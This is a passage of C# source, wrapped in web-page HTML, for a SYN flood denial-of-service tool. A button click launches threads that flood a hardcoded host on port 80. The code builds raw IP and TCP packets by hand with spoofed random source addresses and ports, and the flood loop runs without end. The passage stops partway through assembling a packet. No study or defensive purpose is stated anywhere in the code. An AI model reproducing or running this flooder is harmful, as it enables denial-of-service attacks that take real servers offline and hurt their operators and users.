&nbsp; &nbsp;public Form1()</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;{</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;InitializeComponent();</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;}</div><div class="code_line">&nbsp;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;private void button1_Click(object sender, EventArgs e)</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;{</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;DDosAttack da = new DDosAttack();</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;da.targetHost = &quot;192.168.10.88&quot;;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;da.targetPort = Convert.ToUInt16(&quot;80&quot;);</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;da.attackThread = Convert.ToInt32(&quot;1&quot;);</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;da.run();</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;jobScheduler.Add(da);</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;da = null;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;}</div><div class="code_line">&nbsp;</div><div class="code_line">&nbsp;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;static ArrayList jobScheduler = new ArrayList();//JOB Scheduler</div><div class="code_line">&nbsp;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;public class DDosAttack</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;{</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;public string targetHost = &quot;&quot;;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;public ushort targetPort = 0;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;public int attackThread = 0;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Thread[] thread = null;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;public string errMsg = &quot;&quot;;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;public int state = 0;//0 1 2</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;public void run()</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;{</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;thread = new Thread[attackThread];</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;syn ddos = new syn(targetHost, targetPort);</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;try</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;{</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;for (int i = 0; i &#60; attackThread; i++)</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;{</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;ddos.father = this;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;thread[i] = new Thread(new ThreadStart(ddos.synFlood));</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;thread[i].Start();</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;catch (Exception e)</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;{</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;errMsg = e.Message;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;}</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;public struct ipHeader</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;{</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;public byte ip_verlen;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;public byte ip_tos;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;public ushort ip_totallength;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;public ushort ip_id;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;public ushort ip_offset;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;public byte ip_ttl;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;public byte ip_protocol; //(TCP, UDP, ICMP, Etc.)</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;public ushort ip_checksum;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;public uint ip_srcaddr;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;public uint ip_destaddr;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;}</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;public struct psdHeader</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;{</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;public uint saddr;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;public uint daddr;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;public byte mbz;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;public byte ptcl;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;public ushort tcpl;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;}</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;public struct tcpHeader</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;{</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;public ushort th_sport;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;public ushort th_dport;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;public int th_seq;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;public uint th_ack;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;public byte th_lenres;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;public byte th_flag;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;public ushort th_win;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;public ushort th_sum;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;public ushort th_urp;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;}</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;public class syn</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;{</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;private uint ip;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;private ushort port;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;private EndPoint ep;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;private Socket sock;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;private ipHeader iph;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;private psdHeader psh;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;private tcpHeader tch;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;public DDosAttack father;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;public Random rand;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;public UInt16 checksum(UInt16[] buffer, int size)</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;{</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Int32 cksum = 0;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;int counter;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;counter = 0;</div><div class="code_line">&nbsp;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;while (size &#62; 0)</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;{</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;UInt16 val = buffer[counter];</div><div class="code_line">&nbsp;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;cksum += Convert.ToInt32(buffer[counter]);</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;counter += 1;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;size -= 1;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}</div><div class="code_line">&nbsp;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;cksum = (cksum &#62;&#62; 16) + (cksum &amp; 0xffff);</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;cksum += (cksum &#62;&#62; 16);</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;return (UInt16)(~cksum);</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;//SYN</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;public syn(string _ip, ushort _port)</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;{</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;IPHostEntry ih = Dns.GetHostByName(_ip);</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;ip = Convert.ToUInt32(ih.AddressList[0].Address);</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;IPEndPoint _ep = new IPEndPoint(ih.AddressList[0], _port);</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;port = _port;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;ep = _ep;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;ipHeader iph = new ipHeader();</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;psh = new psdHeader();</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;tch = new tcpHeader();</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;sock = new Socket(AddressFamily.InterNetwork, SocketType.Raw, ProtocolType.IP);</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;sock.SetSocketOption(SocketOptionLevel.IP, SocketOptionName.HeaderIncluded, 1);</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;rand = new Random();</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;public void synFlood()</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;{</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;//iph.ip_verlen = (byte)(4 &#60;&#60; 4 | sizeof(ipHeader) / sizeof(uint));</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;iph.ip_verlen = (byte)(4 &#60;&#60; 4 | Marshal.SizeOf(iph) / Marshal.SizeOf(ip));</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;iph.ip_tos = 0;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;iph.ip_totallength = 0x2800;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;iph.ip_id = 0x9B18;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;iph.ip_offset = 0x40;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;iph.ip_ttl = 64;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;iph.ip_protocol = 6;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;iph.ip_checksum = UInt16.Parse(&quot;0&quot;);</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;iph.ip_destaddr = ip;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;psh.daddr = iph.ip_destaddr;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;psh.mbz = 0;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;psh.ptcl = 6;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;psh.tcpl = 0x1400;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;tch.th_dport = port;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;tch.th_ack = 0;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;//tch.th_lenres = (byte)((sizeof(tcpHeader) / 4 &#60;&#60; 4 | 0));</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;tch.th_lenres = (byte)((Marshal.SizeOf(iph) / 4 &#60;&#60; 4 | 0));</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;tch.th_flag = 2;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;tch.th_win = ushort.Parse(&quot;16614&quot;);</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;tch.th_sum = UInt16.Parse(&quot;0&quot;);</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;tch.th_urp = UInt16.Parse(&quot;0&quot;);</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;while (true)</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;{</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;while (father.state == 1) { Thread.Sleep(5000); }</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;if (father.state == 2) { break; }</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;string srcAddress = rand.Next(1, 255) + &quot;.&quot; + rand.Next(1, 255) + &quot;.&quot; + rand.Next(1, 255) + &quot;.&quot; + rand.Next(1, 255);</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;iph.ip_srcaddr = Convert.ToUInt32(IPAddress.Parse(srcAddress).Address);</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;psh.saddr = iph.ip_srcaddr;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;ushort sourcePort = Convert.ToUInt16(rand.Next(1, 65535));</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;byte[] bt = BitConverter.GetBytes(sourcePort);</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Array.Reverse(bt);</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;tch.th_sport = BitConverter.ToUInt16(bt, 0);</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;tch.th_seq = IPAddress.HostToNetworkOrder((int)rand.Next(-2147483646, 2147483646));</div><div class="code_line">&nbsp;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;iph.ip_checksum = 0;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;tch.th_sum = 0;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;//byte[] psh_buf = new byte[sizeof(psdHeader)];</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;byte[] psh_buf = new byte[Marshal.SizeOf(psh)];</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Int32 index = 0;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;//index = pshto(psh, psh_buf, sizeof(psdHeader));</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;index = pshto(psh, psh_buf, Marshal.SizeOf(psh));</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;if (index == -1)</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;{</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;father.errMsg = &quot;ERR tcp&quot;;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;return;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;index = 0;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;//byte[] tch_buf = new byte[sizeof(tcpHeader)];</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;byte[] tch_buf = new byte[Marshal.SizeOf(tch)];</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;//index = tchto(tch, tch_buf, sizeof(tcpHeader));</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;index = tchto(tch, tch_buf, Marshal.SizeOf(tch));</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;if (index == -1)</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;{</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;father.errMsg = &quot;ERR tcp&quot;;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;return;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;index = 0;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;//byte[] tcphe = new byte[sizeof(psdHeader) + sizeof(tcpHeader)];</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;byte[] tcphe = new byte[Marshal.SizeOf(psh) + Marshal.SizeOf(tch)];</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Array.Copy(psh_buf, 0, tcphe, index, psh_buf.Length);</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;index += psh_buf.Length;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Array.Copy(tch_buf, 0, tcphe, index, tch_buf.Length);</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;index += tch_buf.Length;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;tch.th_sum = chec(tcphe, index);</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;index = 0;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;//index = tchto(tch, tch_buf, sizeof(tcpHeader));</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;index = tchto(tch, tch_buf, Marshal.SizeOf(tch));</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;if (index == -1)</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;{</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;father.errMsg = &quot;ERR tcp&quot;;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;return;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;index = 0;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;//byte[] ip_buf = new byte[sizeof(ipHeader)];</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;byte[] ip_buf = new byte[Marshal.SizeOf(iph)];</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;//index = ipto(iph, ip_buf,sizeof(ipHeader));</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;index = 